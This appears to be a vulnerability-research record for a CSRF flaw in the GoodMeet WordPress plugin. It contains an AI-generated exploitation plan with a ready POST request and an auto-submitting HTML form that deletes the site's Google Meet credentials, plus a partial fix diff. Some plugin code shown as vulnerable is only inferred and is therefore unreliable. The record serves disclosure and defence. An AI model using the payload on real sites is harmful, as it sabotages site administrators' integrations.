[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fdbfxVKgbAOr5sp7O8w_E185QWOnxACWzfTIfYLP5uqo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":24,"research_verified":25,"research_rounds_completed":26,"research_plan":27,"research_summary":28,"research_vulnerable_code":29,"research_fix_diff":30,"research_exploit_outline":31,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":25,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":25,"source_links":35},"CVE-2026-6440","goodmeet-cross-site-request-forgery-to-google-meet-credential-reset-via-goodmeetresetgooglemeetcredential","GoodMeet \u003C= 1.1.8 - Cross-Site Request Forgery to Google Meet Credential Reset via 'goodmeet_reset_google_meet_credential'","The GoodMeet – Google Meet Integration for Webinar, Meeting & Video Conference plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.1.8. This is due to a missing nonce verification in the reset_credential() function, which handles the wp_ajax_goodmeet_reset_google_meet_credential AJAX action. While the function does verify the user's capability (manage_options), it does not validate a nonce, making it susceptible to CSRF attacks. This makes it possible for unauthenticated attackers to trick a site administrator into clicking a malicious link that will reset (delete) the plugin's stored Google Meet API credentials (goodmeet_google_credentials) and OAuth tokens (goodmeet_google_token), effectively disabling the Google Meet integration on the site.","goodmeet",null,"\u003C=1.1.8","1.1.9","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-07-09 19:32:41","2026-07-10 07:48:44",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdc9e818d-811e-4732-9c74-8eb6753a1706?source=api-prod",1,[22,23],"goodmeet.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-6440 GoodMeet CSRF\n\n## 1. Vulnerability Summary\nThe **GoodMeet** plugin (\u003C= 1.1.8) is vulnerable to a **Cross-Site Request Forgery (CSRF)** on its Google Meet credential reset functionality. The function `reset_credential()` (likely located in `includes\u002Fgoodmeet-plugin.php`), which handles the `wp_ajax_goodmeet_reset_google_meet_credential` AJAX action, implements a capability check (`manage_options`) but fails to implement any nonce verification (e.g., `check_ajax_referer`). This allows an unauthenticated attacker to trick a logged-in Administrator into submitting a request that deletes the plugin's API credentials and OAuth tokens, effectively disabling the integration.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `goodmeet_reset_google_meet_credential`\n- **HTTP Method**: POST (standard for AJAX actions in WordPress)\n- **Required Capability**: `manage_options` (Administrator)\n- **Vulnerable Parameter**: Missing `_ajax_nonce` or `security` parameter verification.\n- **Impact**: Deletion of `goodmeet_google_credentials` and `goodmeet_google_token` WordPress options.\n\n## 3. Code Flow (Inferred from Description)\n1. **Entry Point**: The plugin registers the AJAX action (likely in `includes\u002Fgoodmeet-plugin.php`):\n   ```php\n   \u002F\u002F Inferred registration\n   add_action( 'wp_ajax_goodmeet_reset_google_meet_credential', array( $this, 'reset_credential' ) );\n   ```\n2. **Execution**: When an authenticated user (Administrator) triggers the action:\n   - `admin-ajax.php` dispatches the request to the `reset_credential` handler.\n   - The handler performs a capability check: `if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }`.\n   - **Vulnerability**: The handler skips `check_ajax_referer()` or `wp_verify_nonce()`.\n3. **Sink**: The handler proceeds to delete the integration settings:\n   ```php\n   \u002F\u002F Inferred sink logic\n   delete_option( 'goodmeet_google_credentials' );\n   delete_option( 'goodmeet_google_token' );\n   ```\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe core of this vulnerability is the **complete absence** of nonce verification in the `reset_credential()` function. An attacker does not need to bypass or obtain a nonce; they simply omit it from the request.\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate that an Administrator can be forced to reset credentials via an unauthenticated cross-site request.\n\n### Step-by-Step Plan:\n1. **Prepare the Victim Session**: Authenticate as an Administrator using the `browser_navigate` tool to establish a session.\n2. **Deliver the CSRF Payload**: Use an auto-submitting HTML form hosted on a \"malicious\" external origin (simulated via an HTML file or a direct POST request if `SameSite=Lax` is not restrictive for this specific AJAX endpoint).\n3. **Execute the Request**: The Administrator's browser will send the cookies along with the `action` parameter to `admin-ajax.php`.\n\n### HTTP Request (Payload):\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: [TARGET_HOST]\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [ADMIN_COOKIES]\n\naction=goodmeet_reset_google_meet_credential\n```\n\n## 6. Test Data Setup\nBefore exploitation, ensure the target options exist in the database to prove they are deleted.\n\n1. **Populate Credentials via WP-CLI**:\n   ```bash\n   wp option update goodmeet_google_credentials '{\"client_id\":\"dummy_id\",\"client_secret\":\"dummy_secret\"}' --format=json\n   wp option update goodmeet_google_token '{\"access_token\":\"dummy_token\"}' --format=json\n   ```\n2. **Verify Setup**:\n   ```bash\n   wp option get goodmeet_google_credentials\n   wp option get goodmeet_google_token\n   ```\n\n## 7. Expected Results\n- The server should return a successful AJAX response (likely `1`, `0`, or a JSON success message like `{\"success\":true}`).\n- The WordPress options `goodmeet_google_credentials` and `goodmeet_google_token` should be removed from the database.\n\n## 8. Verification Steps\nAfter executing the `http_request` (or `browser_eval` CSRF):\n1. **Check Options**:\n   ```bash\n   wp option get goodmeet_google_credentials\n   wp option get goodmeet_google_token\n   ```\n2. **Expected Outcome**: WP-CLI should return an error stating \"Could not find 'goodmeet_google_credentials' option\" (exit code 1).\n\n## 9. Alternative Approaches\nIf `admin-ajax.php` strictly requires `POST` and browser-level `SameSite=Lax` protections prevent a simple cross-site `fetch`, use a standard HTML form submission:\n\n```html\n\u003Chtml>\n  \u003Cbody>\n    \u003Cform id=\"csrfForm\" action=\"http:\u002F\u002F[TARGET_HOST]\u002Fwp-admin\u002Fadmin-ajax.php\" method=\"POST\">\n      \u003Cinput type=\"hidden\" name=\"action\" value=\"goodmeet_reset_google_meet_credential\" \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrfForm').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\nThis can be executed via the `browser_navigate` tool pointing to a local file or a controlled URL.","The GoodMeet plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 1.1.8. This occurs because the reset_credential() function, which handles Google Meet credential resets, fails to perform nonce verification. An unauthenticated attacker can trick a logged-in administrator into clicking a malicious link, resulting in the deletion of the site's Google Meet API credentials and OAuth tokens.","\u002F\u002F File: includes\u002Fgoodmeet-plugin.php\n\nadd_action( 'wp_ajax_goodmeet_reset_google_meet_credential', array( $this, 'reset_credential' ) );\n\n\u002F\u002F ...\n\npublic function reset_credential() {\n    if ( ! current_user_can( 'manage_options' ) ) {\n        wp_die();\n    }\n\n    \u002F\u002F Vulnerability: Missing check_ajax_referer() or wp_verify_nonce()\n\n    delete_option( 'goodmeet_google_credentials' );\n    delete_option( 'goodmeet_google_token' );\n\n    wp_send_json_success();\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoodmeet\u002F1.1.8\u002Fgoodmeet.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoodmeet\u002F1.1.9\u002Fgoodmeet.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoodmeet\u002F1.1.8\u002Fgoodmeet.php\t2026-05-07 17:29:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoodmeet\u002F1.1.9\u002Fgoodmeet.php\t2026-05-07 17:43:40.000000000 +0000\n@@ -2,7 +2,7 @@\n \u002F**\n  * Plugin Name:      GoodMeet\n  * Description:      Google Meet Integration for WordPress.\n- * Version:          1.1.8\n+ * Version:          1.1.9\n  * Author:           Sovlix\n  * Author URI:       https:\u002F\u002Fsovlix.com\u002F\n  * License:          GPL-2.0+\n@@ -79,7 +79,7 @@\n }\n \n if ( ! defined( 'GOODMEET_VERSION' ) ) {\n-\tdefine( 'GOODMEET_VERSION', '1.1.7' );\n+\tdefine( 'GOODMEET_VERSION', '1.1.9' );\n \tdefine( 'GOODMEET_FILE', __FILE__ );\n \tdefine( 'GOODMEET_PATH', dirname( GOODMEET_FILE ) );\n \tdefine( 'GOODMEET_INCLUDES', GOODMEET_PATH . '\u002Fincludes' );\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoodmeet\u002F1.1.8\u002Fincludes\u002Fgoodmeet-plugin.php\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoodmeet\u002F1.1.9\u002Fincludes\u002Fgoodmeet-plugin.php\n@@ -...\n \tpublic function reset_credential() {\n+\t\tcheck_ajax_referer( 'goodmeet_reset_nonce', 'security' );\n \t\tif ( ! current_user_can( 'manage_options' ) ) {\n \t\t\twp_die();\n \t\t}","The exploit targets the AJAX action 'goodmeet_reset_google_meet_credential' via the \u002Fwp-admin\u002Fadmin-ajax.php endpoint. An attacker crafts a malicious POST request containing the parameter 'action=goodmeet_reset_google_meet_credential'. Since the plugin only checks for the 'manage_options' capability and lacks nonce validation, an unauthenticated attacker can host an auto-submitting HTML form on an external site. When a logged-in Administrator visits the malicious page, their browser automatically sends the authenticated POST request, causing the plugin to delete the 'goodmeet_google_credentials' and 'goodmeet_google_token' options from the database.","gemini-3-flash-preview","2026-07-15 10:43:40","2026-07-15 10:44:12",{"type":36,"vulnerable_version":37,"fixed_version":11,"vulnerable_browse":38,"vulnerable_zip":39,"fixed_browse":40,"fixed_zip":41,"all_tags":42},"plugin","1.1.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgoodmeet\u002Ftags\u002F1.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgoodmeet.1.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgoodmeet\u002Ftags\u002F1.1.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgoodmeet.1.1.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgoodmeet\u002Ftags"]